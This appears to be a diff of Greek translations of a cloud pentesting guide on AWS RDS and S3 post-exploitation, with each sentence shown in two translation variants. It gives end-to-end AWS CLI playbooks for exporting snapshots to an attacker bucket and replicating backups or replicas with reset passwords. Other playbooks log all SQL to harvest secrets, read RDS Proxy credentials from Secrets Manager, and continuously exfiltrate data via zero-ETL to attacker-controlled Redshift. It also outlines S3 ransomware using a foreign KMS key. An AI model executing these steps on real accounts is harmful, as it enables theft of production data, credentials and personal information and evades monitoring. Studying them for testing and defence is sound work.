**Πιθανός αντίκτυπος**: Διαγραφή υφιστάμενων RDS instances και πιθανή απώλεια δεδομένων.
|
||||
**Πιθανός αντίκτυπος**: Διαγραφή υπαρχόντων RDS instances και πιθανή απώλεια δεδομένων.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμή
|
||||
> TODO: Test
|
||||
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα RDS instance snapshot σε έναν S3 bucket**. Εάν ο επιτιθέμενος έχει έλεγχο του προοριστικού S3 bucket, μπορεί ενδεχομένως να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα που περιέχονται στο εξαγόμενο snapshot.
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **εξάγει ένα snapshot ενός RDS instance σε ένα S3 bucket**. Αν ο επιτιθέμενος έχει έλεγχο πάνω στο προορισμό S3 bucket, ενδέχεται να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα που περιέχονται στο εξαγόμενο snapshot.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: Πρόσβαση σε ευαίσθητα δεδομένα στο εξαγόμενο snapshot.
|
||||
|
||||
### Αναπαραγωγή αυτόματων αντιγράφων ασφαλείας ανά Region για κρυφή επαναφορά (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Κακοποίηση της αναπαραγωγής αυτόματων αντιγράφων ασφαλείας ανά Region για να διπλασιαστούν σιωπηλά τα automated backups ενός instance RDS σε άλλη AWS Region και να γίνει επαναφορά εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να καταστήσει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναρυθμίσει τον master password για να αποκτήσει πρόσβαση σε δεδομένα εκτός ζώνης σε μια περιοχή που οι υπερασπιστές μπορεί να μην παρακολουθούν.
|
||||
Κακοχρησιμοποιήστε την cross-Region αναπαραγωγή αυτοματοποιημένων αντιγράφων ασφαλείας για να αντιγράψετε αθόρυβα τα automated backups ενός RDS instance σε άλλη AWS Region και να τα επαναφέρετε εκεί. Ο επιτιθέμενος μπορεί στη συνέχεια να κάνει τη επαναφερθείσα DB δημόσια προσβάσιμη και να επαναφέρει τον master κωδικό πρόσβασης για να αποκτήσει πρόσβαση στα δεδομένα εκτός της περιοχής που ίσως να μην παρακολουθούν οι αμυντικοί.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` στην προοριστική περιοχή
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` στην προοριστική περιοχή
|
||||
- `rds:RestoreDBInstanceToPointInTime` στην προοριστική περιοχή
|
||||
- `rds:ModifyDBInstance` στην προοριστική περιοχή
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (προαιρετικό καθάρισμα)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (για να εκθέσετε την επαναφερθείσα DB)
|
||||
Απαιτούμενα permissions (ελάχιστα):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Επίπτωση: Επιμονή και εξαγωγή δεδομένων αποκαθιστώντας ένα αντίγραφο των παραγωγικών δεδομένων σε άλλη περιοχή και εκθέτοντάς το δημόσια με διαπιστευτήρια ελεγχόμενα από τον επιτιθέμενο.
|
||||
Impact: Επίμονη παρουσία και εξαγωγή δεδομένων μέσω της επαναφοράς αντιγράφου παραγωγικών δεδομένων σε άλλη Region και της δημόσιας έκθεσής τους με διαπιστευτήρια υπό έλεγχο του επιτιθέμενου.
|
||||
|
||||
<details>
|
||||
<summary>Ολοκληρωμένο CLI από άκρη σε άκρη (αντικαταστήστε τα placeholders)</summary>
|
||||
<summary>End-to-end CLI (αντικαταστήστε τα placeholders)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Ενεργοποιήστε πλήρη SQL logging μέσω DB parameter groups και εξάγετε μέσω RDS log APIs
|
||||
### Ενεργοποίηση πλήρους SQL logging μέσω DB parameter groups και exfiltrate μέσω RDS log APIs
|
||||
|
||||
Καταχραστείτε το `rds:ModifyDBParameterGroup` μαζί με τα RDS log download APIs για να καταγράψετε όλες τις SQL εντολές που εκτελούνται από εφαρμογές (δεν απαιτούνται credentials του DB engine). Ενεργοποιήστε την καταγραφή SQL του engine και ανακτήστε τα αρχεία καταγραφής μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για τη συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
|
||||
Abuse `rds:ModifyDBParameterGroup` με τα RDS log download APIs για να καταγράψετε όλες τις SQL δηλώσεις που εκτελούνται από εφαρμογές (δεν απαιτούνται credentials του DB engine). Ενεργοποιήστε το engine SQL logging και κατεβάστε τα αρχεία καταγραφής μέσω `rds:DescribeDBLogFiles` και `rds:DownloadDBLogFilePortion` (ή το REST `downloadCompleteLogFile`). Χρήσιμο για τη συλλογή queries που μπορεί να περιέχουν secrets/PII/JWTs.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (μόνο για να επισυνάψετε ένα custom parameter group αν το instance χρησιμοποιεί το default)
|
||||
- `rds:RebootDBInstance` (για παραμέτρους που απαιτούν reboot, π.χ. PostgreSQL)
|
||||
|
||||
Βήματα
|
||||
1) Recon του στόχου και του τρέχοντος parameter group
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Βεβαιωθείτε ότι έχει επισυναφθεί μια προσαρμοσμένη DB parameter group (δεν είναι δυνατή η επεξεργασία της προεπιλεγμένης)
|
||||
- Εάν το instance ήδη χρησιμοποιεί προσαρμοσμένη ομάδα, επαναχρησιμοποιήστε το όνομά της στο επόμενο βήμα.
|
||||
- Διαφορετικά, δημιουργήστε και επισυνάψτε μία που ταιριάζει με την engine family:
|
||||
2) Βεβαιωθείτε ότι έχει επισυναφθεί custom DB parameter group (δεν μπορείτε να επεξεργαστείτε το default)
|
||||
- Αν το instance ήδη χρησιμοποιεί ένα custom group, επαναχρησιμοποιήστε το όνομά του στο επόμενο βήμα.
|
||||
- Διαφορετικά, δημιουργήστε και συνδέστε ένα που ταιριάζει με το engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,8 +232,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Ενεργοποίηση λεπτομερούς SQL logging
|
||||
- MySQL engines (άμεση / χωρίς επανεκκίνηση):
|
||||
3) Ενεργοποιήστε λεπτομερή καταγραφή SQL
|
||||
- MySQL engines (άμεσα / χωρίς επανεκκίνηση):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -224,7 +260,7 @@ aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Ανακαλύψτε και κατεβάστε τα logs (δεν απαιτούνται DB creds)
|
||||
5) Εντοπίστε και κατεβάστε τα logs (δεν απαιτούνται διαπιστευτήρια DB)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -239,14 +275,14 @@ aws rds download-db-log-file-portion \
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Παράδειγμα αποδεικτικών στοιχείων (αποκρυμμένα):
|
||||
Παράδειγμα αποδεικτικού στοιχείου (λογοκριμένο):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Καθαρισμός
|
||||
- Επαναφέρετε τις παραμέτρους στις προεπιλογές και επανεκκινήστε αν απαιτείται:
|
||||
- Επαναφορά παραμέτρων στις προεπιλεγμένες τιμές και επανεκκίνηση αν απαιτείται:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Επίπτωση: Post-exploitation πρόσβαση σε δεδομένα με την καταγραφή όλων των application SQL statements μέσω AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
Επίπτωση: Πρόσβαση σε δεδομένα μετά την εκμετάλλευση μέσω καταγραφής όλων των SQL statements των εφαρμογών μέσω AWS APIs (no DB creds), ενδεχομένως leaking secrets, JWTs, και PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Κατάχρηση των RDS read replicas για απόκτηση out-of-band read access χωρίς να αγγίζονται τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από production instance, να επαναφέρει το replica's master password (this does not change the primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα.
|
||||
Κακόβουλη χρήση των RDS read replicas για απόκτηση out-of-band read access χωρίς να αγγίζονται τα primary instance credentials. Ένας attacker μπορεί να δημιουργήσει ένα read replica από ένα production instance, να επαναφέρει το replica's master password (αυτό δεν αλλάζει το primary), και προαιρετικά να εκθέσει το replica δημόσια για να exfiltrate δεδομένα.
|
||||
|
||||
Απαιτούμενα permissions (ελάχιστα):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (αν εκτεθεί δημόσια)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; χαμηλότερη πιθανότητα εντοπισμού καθώς το primary παραμένει ανεπηρέαστο και η replication συνεχίζεται.
|
||||
Επίπτωση: Read-only πρόσβαση σε production δεδομένα μέσω ενός replica με attacker-controlled credentials; μικρότερη πιθανότητα ανίχνευσης καθώς το primary παραμένει ανέπαφο και η replication συνεχίζεται.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -306,11 +342,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Παράδειγμα αποδεικτικών στοιχείων (MySQL):
|
||||
- Κατάσταση Replica DB: `available`, read replication: `replicating`
|
||||
- Επιτυχής σύνδεση με νέο password και `@@read_only=1` που επιβεβαιώνει πρόσβαση read-only στη replica.
|
||||
- Επιτυχής σύνδεση με νέο κωδικό και `@@read_only=1` που επιβεβαιώνει πρόσβαση μόνο ανάγνωσης στη replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Καταχράσου το RDS Blue/Green για να κλωνοποιήσεις μια παραγωγική βάση δεδομένων σε ένα συνεχώς replicated, read-only green περιβάλλον. Έπειτα επαναφέρε τα green master credentials για να αποκτήσεις πρόσβαση στα δεδομένα χωρίς να αγγίξεις το blue (prod) instance. Αυτό είναι πιο stealthy από το snapshot sharing και συχνά παρακάμπτει το monitoring που επικεντρώνεται μόνο στην πηγή.
|
||||
Abuse RDS Blue/Green για να κλωνοποιήσετε μια production DB σε ένα συνεχώς αναπαραγόμενο, read-only green περιβάλλον. Στη συνέχεια επαναφέρετε τα green master credentials για να αποκτήσετε πρόσβαση στα δεδομένα χωρίς να αγγίξετε το blue (prod) instance. Αυτό είναι πιο αθόρυβο από το snapshot sharing και συχνά παρακάμπτει monitoring που εστιάζει μόνο στην πηγή.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Επίπτωση: Πρόσβαση μόνο για ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα ενός κλώνου παραγωγής σχεδόν σε πραγματικό χρόνο χωρίς να τροποποιηθεί το production instance. Χρήσιμο για stealthy data extraction και offline ανάλυση.
|
||||
Επίπτωση: Μόνο ανάγνωση αλλά πλήρης πρόσβαση στα δεδομένα ενός σχεδόν πραγματικού κλώνου του production χωρίς τροποποίηση της production instance. Χρήσιμο για διακριτική εξαγωγή δεδομένων και ανάλυση εκτός σύνδεσης.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Καταχρηστική χρήση του Aurora για να ενεργοποιήσετε το RDS Data API HTTP endpoint σε έναν στόχο cluster, να επαναφέρετε το master password σε μια τιμή που ελέγχετε και να τρέξετε SQL μέσω HTTPS (δεν απαιτείται διαδρομή δικτύου VPC). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ. Aurora MySQL 8.0 provisioned; κάποιες εκδόσεις Aurora PostgreSQL/MySQL).
|
||||
Κακοχρησιμοποιήστε το Aurora για να ενεργοποιήσετε το RDS Data API HTTP endpoint σε έναν στοχευμένο cluster, να επαναφέρετε το master password σε μια τιμή που ελέγχετε, και να εκτελέσετε SQL μέσω HTTPS (δεν απαιτείται διαδρομή δικτύου VPC). Λειτουργεί σε Aurora engines που υποστηρίζουν το Data API/EnableHttpEndpoint (π.χ., Aurora MySQL 8.0 provisioned; μερικές εκδόσεις Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
Δικαιώματα (ελάχιστα):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Επίπτωση: Παράκαμψη του διαχωρισμού δικτύου και exfiltrate δεδομένα μέσω AWS APIs χωρίς άμεση VPC συνδεσιμότητα προς τη DB.
|
||||
Επίπτωση: Παράκαμψη διαχωρισμού δικτύου και εξαγωγή δεδομένων μέσω AWS APIs χωρίς άμεση VPC συνδεσιμότητα προς το DB.
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI (παράδειγμα Aurora MySQL)</summary>
|
||||
<summary>Ολοκληρωμένο CLI (παράδειγμα Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -425,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Σημειώσεις:
|
||||
- Εάν multi-statement SQL απορρίπτεται από το rds-data, εκτελέστε ξεχωριστές κλήσεις execute-statement.
|
||||
- Για engines όπου το modify-db-cluster --enable-http-endpoint δεν έχει αποτέλεσμα, χρησιμοποιήστε rds enable-http-endpoint --resource-arn.
|
||||
- Βεβαιωθείτε ότι ο engine/version υποστηρίζει πραγματικά το Data API· διαφορετικά το HttpEndpointEnabled θα παραμείνει False.
|
||||
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
|
||||
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
|
||||
- Βεβαιωθείτε ότι ο engine/version πραγματικά υποστηρίζει το Data API· αλλιώς HttpEndpointEnabled θα παραμείνει False.
|
||||
|
||||
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Συλλογή διαπιστευτηρίων DB μέσω RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Καταχραστείτε τη ρύθμιση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την επαλήθευση του backend και στη συνέχεια διαβάστε το secret για να αποκτήσετε τα διαπιστευτήρια της βάσης δεδομένων. Πολλά περιβάλλοντα χορηγούν ευρείες άδειες `secretsmanager:GetSecretValue`, καθιστώντας αυτό ένα low-friction pivot προς DB creds. Αν το secret χρησιμοποιεί CMK, μη σωστά περιορισμένες άδειες KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`.
|
||||
Καταχρήστε τη διαμόρφωση του RDS Proxy για να εντοπίσετε το Secrets Manager secret που χρησιμοποιείται για την backend authentication, και στη συνέχεια διαβάστε το secret για να αποκτήσετε τα διαπιστευτήρια της βάσης δεδομένων. Πολλά περιβάλλοντα χορηγούν ευρεία `secretsmanager:GetSecretValue`, κάνοντας αυτή την κίνηση μια χαμηλής τριβής μεταπήδηση προς τα DB creds. Αν το secret χρησιμοποιεί CMK, λανθασμένα περιορισμένα δικαιώματα KMS μπορεί επίσης να επιτρέψουν `kms:Decrypt`.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Απαιτούμενα δικαιώματα (ελάχιστα):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` στο αναφερόμενο SecretArn
|
||||
- Προαιρετικά αν το secret χρησιμοποιεί CMK: `kms:Decrypt` σε αυτό το key
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Προαιρετικό όταν το secret χρησιμοποιεί CMK: `kms:Decrypt` on that key
|
||||
|
||||
Impact: Άμεση αποκάλυψη του DB username/password που είναι ρυθμισμένο στον proxy; επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement.
|
||||
Επίπτωση: Άμεση αποκάλυψη του DB username/password που έχει ρυθμιστεί στον proxy· επιτρέπει άμεση πρόσβαση στη DB ή περαιτέρω lateral movement.
|
||||
|
||||
Βήματα
|
||||
```bash
|
||||
@@ -473,16 +509,16 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Καθαρισμός (lab)
|
||||
Καθαρισμός (εργαστήριο)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Κρυφή συνεχής εξαγωγή δεδομένων μέσω Aurora zero‑ETL σε Amazon Redshift (rds:CreateIntegration)
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Κατάχρηση της Aurora PostgreSQL zero‑ETL integration για συνεχή αναπαραγωγή παραγωγικών δεδομένων σε ένα Redshift Serverless namespace που ελέγχετε. Με μια χαλαρή πολιτική πόρων Redshift που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας επιτιθέμενος μπορεί να δημιουργήσει μια αντιγραφή δεδομένων σε σχεδόν πραγματικό χρόνο χωρίς DB creds, snapshots ή έκθεση στο δίκτυο.
|
||||
Καταχραστείτε την Aurora PostgreSQL zero‑ETL integration για να αναπαράγετε συνεχώς παραγωγικά δεδομένα σε ένα Redshift Serverless namespace που ελέγχετε. Με μια επιεική πολιτική πόρων του Redshift που εξουσιοδοτεί CreateInboundIntegration/AuthorizeInboundIntegration για ένα συγκεκριμένο Aurora cluster ARN, ένας attacker μπορεί να δημιουργήσει ένα σχεδόν σε πραγματικό χρόνο αντίγραφο δεδομένων χωρίς DB creds, snapshots ή έκθεση στο δίκτυο.
|
||||
|
||||
Απαιτούμενα δικαιώματα (ελάχιστα):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
@@ -509,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Διαμορφώστε την πολιτική πόρου του Redshift για να επιτρέψετε την πηγή Aurora</summary>
|
||||
<summary>2) Διαμόρφωση πολιτικής πόρων του Redshift για να επιτρέπεται η πηγή Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Δημιουργία Aurora PostgreSQL cluster (ενεργοποίηση Data API και λογικής αναπαραγωγής)</summary>
|
||||
<summary>3) Δημιουργήστε Aurora PostgreSQL cluster (ενεργοποιήστε Data API και logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Δημιουργήστε την zero‑ETL ενσωμάτωση από RDS</summary>
|
||||
<summary>4) Δημιουργήστε την zero‑ETL integration από RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -583,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materialize και query αντιγραμμένων δεδομένων στο Redshift</summary>
|
||||
<summary>5) Υλοποίηση και ερώτηση αντιγραμμένων δεδομένων στο Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -596,12 +632,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Στοιχεία που παρατηρήθηκαν στη δοκιμή:
|
||||
Αποδείξεις που παρατηρήθηκαν στη δοκιμή:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION έδειξε integration_id 377a462b-c42c-4f08-937b-77fe75d98211 και state PendingDbConnectState πριν τη δημιουργία της DB.
|
||||
- Μετά το CREATE DATABASE FROM INTEGRATION, η απαρίθμηση των πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· το selecting από ztl.customers επέστρεψε 2 σειρές (Alice, Bob).
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- Μετά το CREATE DATABASE FROM INTEGRATION, η λίστα πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· η επιλογή από ztl.customers επέστρεψε 2 σειρές (Alice, Bob).
|
||||
|
||||
Επίπτωση: Συνεχής σχεδόν σε πραγματικό χρόνο exfiltration επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless υπό έλεγχο του επιτιθέμενου, χωρίς χρήση database credentials, backups ή δικτυακής πρόσβασης στο πηγαίο cluster.
|
||||
Επίπτωση: Συνεχής σχεδόν-σε-πραγματικό-χρόνο exfiltration επιλεγμένων πινάκων Aurora PostgreSQL σε Redshift Serverless που ελέγχεται από τον attacker, χωρίς χρήση database credentials, backups ή network access στο source cluster.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+43
-12
@@ -4,35 +4,66 @@
|
||||
|
||||
## S3
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ευαίσθητες Πληροφορίες
|
||||
### Sensitive Information
|
||||
|
||||
Μερικές φορές θα μπορέσετε να βρείτε ευαίσθητες πληροφορίες που είναι αναγνώσιμες μέσα στα buckets. Για παράδειγμα, terraform state secrets.
|
||||
Κάποιες φορές θα μπορείτε να βρείτε ευαίσθητες πληροφορίες προσβάσιμες μέσα στα buckets. Για παράδειγμα, terraform state secrets.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Διάφορες πλατφόρμες μπορεί να χρησιμοποιούν το S3 για την αποθήκευση ευαίσθητων πόρων.\
|
||||
Για παράδειγμα, **airflow** μπορεί να αποθηκεύει εκεί **DAGs** **code**, ή **ιστοσελίδες** να σερβίρονται απευθείας από S3. Ένας attacker με δικαιώματα εγγραφής θα μπορούσε να **modify the code** από το bucket για να **pivot** σε άλλες πλατφόρμες, ή να **takeover accounts** τροποποιώντας JS αρχεία.
|
||||
Διάφορες πλατφόρμες μπορεί να χρησιμοποιούν το S3 για αποθήκευση ευαίσθητων assets.\
|
||||
Για παράδειγμα, **airflow** μπορεί να αποθηκεύει **DAGs** **code** εκεί, ή **web pages** να σερβίρονται απευθείας από S3. Ένας attacker με write permissions θα μπορούσε να **modify the code** από το bucket για να **pivot** σε άλλες πλατφόρμες, ή να **takeover accounts** τροποποιώντας αρχεία JS.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key στον δικό του AWS account** ή σε έναν άλλο compromised account. Στη συνέχεια κάνει αυτό το **key προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε AWS user, role, ή account να κρυπτογραφήσει αντικείμενα χρησιμοποιώντας αυτό το key. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν.
|
||||
Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key in their own AWS account** ή σε άλλο compromised account. Στη συνέχεια κάνει αυτό το **key accessible to anyone in the world**, επιτρέποντας σε οποιονδήποτε AWS user, role, ή account να encrypt objects χρησιμοποιώντας αυτό το key. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν.
|
||||
|
||||
Ο attacker εντοπίζει έναν στοχευμένο **S3 bucket και αποκτά write-level access** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό μπορεί να οφείλεται σε κακή ρύθμιση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker αποκτά πρόσβαση στο AWS περιβάλλον καθεαυτό. Συνήθως ο attacker στοχεύει buckets που περιέχουν ευαίσθητες πληροφορίες όπως personally identifiable information (PII), protected health information (PHI), logs, backups, κ.ά.
|
||||
Ο attacker εντοπίζει έναν στοχευμένο **S3 bucket and gains write-level access** σε αυτόν χρησιμοποιώντας διάφορες μεθόδους. Αυτό μπορεί να οφείλεται σε κακή διαμόρφωση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker αποκτά πρόσβαση στο AWS περιβάλλον καθ' αυτό. Ο attacker συνήθως στοχεύει buckets που περιέχουν ευαίσθητες πληροφορίες όπως personally identifiable information (PII), protected health information (PHI), logs, backups, και άλλα.
|
||||
|
||||
